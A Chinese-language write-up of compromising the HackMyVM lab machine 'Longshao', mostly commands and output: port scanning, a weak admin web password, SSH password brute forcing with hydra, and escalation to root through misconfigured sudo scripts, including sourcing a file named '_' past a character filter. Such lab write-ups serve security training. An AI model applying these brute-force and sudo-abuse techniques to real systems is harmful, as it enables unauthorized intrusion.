Longshao

image

1
靶机地址：https://hackmyvm.eu/machines/machine.php?vm=Longshao

[TOC]

信息搜集

主机发现

1
2
3
4
5
6
7
8
9
10
┌──(root㉿Eecho)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.100.31
Starting arp-scan 1.10.0 with 512 hosts (https://github.com/royhills/arp-scan)
......
192.168.100.25  08:00:27:f0:9a:3b       PCS Systemtechnik GmbH
......

26 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 512 hosts scanned in 2.922 seconds (175.22 hosts/sec). 25 responded

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
┌──(root㉿Eecho)-[~]
└─# rustscan -a 192.168.100.25 -- -A
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
RustScan: Where '404 Not Found' meets '200 OK'.

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'.
Open 192.168.100.25:22
Open 192.168.100.25:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.100.25
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-30 20:45 +0800
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 20:45
Completed NSE at 20:45, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 20:45
Completed NSE at 20:45, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 20:45
Completed NSE at 20:45, 0.00s elapsed
Initiating ARP Ping Scan at 20:45
Scanning 192.168.100.25 [1 port]
Completed ARP Ping Scan at 20:45, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 20:45
Completed Parallel DNS resolution of 1 host. at 20:45, 0.50s elapsed
DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 20:45
Scanning 192.168.100.25 [2 ports]
Discovered open port 22/tcp on 192.168.100.25
Discovered open port 80/tcp on 192.168.100.25
Completed SYN Stealth Scan at 20:45, 0.02s elapsed (2 total ports)
Initiating Service scan at 20:45
Scanning 2 services on 192.168.100.25
Completed Service scan at 20:45, 6.02s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against 192.168.100.25
Retrying OS detection (try #2) against 192.168.100.25
NSE: Script scanning 192.168.100.25.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 20:45
Completed NSE at 20:45, 0.24s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 20:45
Completed NSE at 20:45, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 20:45
Completed NSE at 20:45, 0.00s elapsed
Nmap scan report for 192.168.100.25
Host is up, received arp-response (0.00081s latency).
Scanned at 2026-07-30 20:45:31 CST for 10s

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 10.3 (protocol 2.0)
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.67 ((Unix))
|_http-title: Maze \xE5\x86\x85\xE9\x83\xA8\xE7\xAE\xA1\xE7\x90\x86\xE7\xB3\xBB\xE7\xBB\x9F - \xE7\x99\xBB\xE5\xBD\x95
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.67 (Unix)
MAC Address: 08:00:27:F0:9A:3B (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Linux 4.15 - 5.19 (97%), OpenWrt 22.03 (Linux 5.10) (94%), Android 9 - 11 (Linux 4.9 - 4.14) (93%), Linux 2.6.32 (93%), Linux 5.10 - 5.19 (93%), Linux 3.2 - 4.14 (93%), Linux 5.4 - 5.10 (93%), OpenWrt 21.02 (Linux 5.4) (93%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (93%), Linux 2.6.32 - 3.10 (93%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.99%E=4%D=7/30%OT=22%CT=%CU=36215%PV=Y%DS=1%DC=D%G=N%M=080027%TM=6A6B4775%P=x86_64-pc-linux-gnu)
SEQ(SP=106%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=21)
SEQ(SP=FE%GCD=1%ISR=10E%TI=Z%CI=Z%II=I%TS=21)
OPS(O1=M5B4ST11NW9%O2=M5B4ST11NW9%O3=M5B4NNT11NW9%O4=M5B4ST11NW9%O5=M5B4ST11NW9%O6=M5B4ST11)
WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)
ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW9%CC=Y%Q=)
T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)
IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 0.000 days (since Thu Jul 30 20:45:39 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=254 (Good luck!)
IP ID Sequence Generation: All zeros

TRACEROUTE
HOP RTT     ADDRESS
1   0.81 ms 192.168.100.25

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 20:45
Completed NSE at 20:45, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 20:45
Completed NSE at 20:45, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 20:45
Completed NSE at 20:45, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.50 seconds
           Raw packets sent: 47 (3.672KB) | Rcvd: 31 (2.616KB)
  • 22 SSH
  • 80 HTTP

弱口令

主页存在登录界面，尝试爆破管理员密码，发现是弱口令

admin:mexico

image

getshell

这里登录进去发现直接给了baolong用户的ssh登录凭证

image

ssh登录到baolong用户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(root㉿Eecho)-[~]
└─# ssh baolong@192.168.100.25
The authenticity of host '192.168.100.25 (192.168.100.25)' can't be established.
ED25519 key fingerprint is: SHA256:xJ90oWmr5sPR2afHz9etzSdtxINmLI+JvbwgV/iCsWY
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:7: [hashed name]
    ~/.ssh/known_hosts:11: [hashed name]
    ~/.ssh/known_hosts:12: [hashed name]
    ~/.ssh/known_hosts:17: [hashed name]
    ~/.ssh/known_hosts:21: [hashed name]
    ~/.ssh/known_hosts:22: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.100.25' (ED25519) to the list of known hosts.
baolong@192.168.100.25's password:
              _
__      _____| | ___ ___  _ __ ___   ___
\ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \
 \ V  V /  __/ | (_| (_) | | | | | |  __/
  \_/\_/ \___|_|\___\___/|_| |_| |_|\___|

baolong@longshao:~$ id
uid=1000(baolong) gid=1000(baolong) groups=1000(baolong)
baolong@longshao:~$

‍

提权

baolong -> chaojibaolong

这里信息搜集了一下，发现/opt/internal里面有个parser_core文件但是是chaojibaolong用户可读。

image

尝试爆破chaojibaolong用户密码。

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿Eecho)-[~]
└─# hydra -l chaojibaolong -P /usr/share/wordlists/rockyou.txt ssh://192.168.100.25
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-07-30 20:55:31
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://192.168.100.25:22/
[22][ssh] host: 192.168.100.25   login: chaojibaolong   password: love123
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-07-30 20:55:43

chaojibaolong:love123

横向移动到chaojibaolong用户

1
2
3
4
baolong@longshao:/var/www/html$ su chaojibaolong
Password:
chaojibaolong@longshao:/var/www/html$ id
uid=1001(chaojibaolong) gid=1001(chaojibaolong) groups=1001(chaojibaolong)

‍

chaojibaolong -> chaojiwudilong

1
2
3
4
5
6
7
8
9
chaojibaolong@longshao:/var/www/html$ sudo -l
Matching Defaults entries for chaojibaolong on longshao:
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for chaojibaolong:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User chaojibaolong may run the following commands on longshao:
    (ALL : ALL) NOPASSWD: /usr/local/bin/check_parser

sudoers滥用，可以无密码以root执行/usr/local/bin/check_parser

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
chaojibaolong@longshao:/var/www/html$ cat /usr/local/bin/check_parser
#!/bin/sh

if [ "$(id -u)" -ne 0 ]; then
  echo "syslog-rotate: general protection fault: permission denied." >&2
  exit 1
fi

if [ -z "$1" -a ! -f "$1" ]; then
    echo "Usage: $(basename $0) <target_spool_path> [--force-cron]"
    exit 1
fi


exec /opt/internal/parser_core "$@

最后执行了/opt/internal/parser_core这个二进制文件，也正是前面baolong用户无法读取的文件。

这里get下来ida分析

1
2
3
4
5
6
7
8
chaojibaolong@longshao:/opt/internal$ scp parser_core root@192.168.100.31:/tmp/aaaa
The authenticity of host '192.168.100.31 (192.168.100.31)' can't be established.
ED25519 key fingerprint is: SHA256:ZyUbPteDlhKgfFR102PGhJUWNS++vR62HchhPFY2Cfw
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.100.31' (ED25519) to the list of known hosts.
root@192.168.100.31's password:
parser_core                                                                                     100%   14KB   4.7MB/s   00:00

在main函数里面是漏洞点的主要点

image

程序限制：参数必须为 2 或 3 个。文件必须是.log​。文件路径必须位于 /tmp/

而导致漏洞点的程序是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
v6 = access(v3,0);

if (v6)
{
    puts("[!] Error: Target log file not found.");

    if(v4)
    {
        puts("[*] DevSecOps Emergency Notice: Switching context...");

        execl(
            "/bin/su",
            "su",
            "-",
            "chaojiwudilong",
            0
        );
    }
}

当满足：目标文件不存在，并且开启 –debug 参数程序会执行

1
su - chaojiwudilong

横向移动到chaojiwudilong

1
2
3
4
5
6
7
8
9
chaojibaolong@longshao:/opt/internal$ sudo /usr/local/bin/check_parser /tmp/.log --debug
=================================================
  ChaoJiBaoLong Log Analyser - Security Core v3
=================================================
[!] Error: Target log file not found.
[*] DevSecOps Emergency Notice: Switching context...
chaojiwudilong@longshao:~$ id
uid=1002(chaojiwudilong) gid=1002(chaojiwudilong) groups=1002(chaojiwudilong)
chaojiwudilong@longshao:~$

‍

chaojiwudilong -> root

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
chaojiwudilong@longshao:~$ sudo -l
Matching Defaults entries for chaojiwudilong on longshao:
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for chaojiwudilong:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User chaojiwudilong may run the following commands on longshao:
    (root) NOPASSWD: /usr/local/bin/a.sh
chaojiwudilong@longshao:~$ cat /usr/local/bin/a.sh
PATH=/usr/bin

cd /tmp

read CMD < <(head -n1 | tr -d "[A-Za-z0-9/]")
eval "$CMD"

同样是sudoers滥用。

a.sh的功能是读取取用户输入的第一行内容，过滤掉其中的所有英文字母、数字和斜杠（/），然后将其作为 Shell 命令执行。但是没有过滤其它字符如下划线。

但问题是怎么执行这个文件呢，在Linux中.​（dot 命令，即 source​ 的别名）主要用于在当前 Shell 进程中读取并执行指定文件中的命令，而不是像直接运行 ./script.sh 那样启动一个新的子 Shell（Subshell）。

1
2
3
4
5
6
7
8
9
10
11
chaojiwudilong@longshao:~$ cd /tmp/
chaojiwudilong@longshao:/tmp$ echo "/bin/bash" > _
chaojiwudilong@longshao:/tmp$ cat _
/bin/bash
chaojiwudilong@longshao:/tmp$ sudo /usr/local/bin/a.sh
. _
root@longshao:/tmp# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
root@longshao:/tmp# cat
bash: cat: command not found
root@longshao:/tmp# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

这里由于前面脚本设置了PATH为/usr/bin会导致一些命令用不了，需要重新设置

1
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin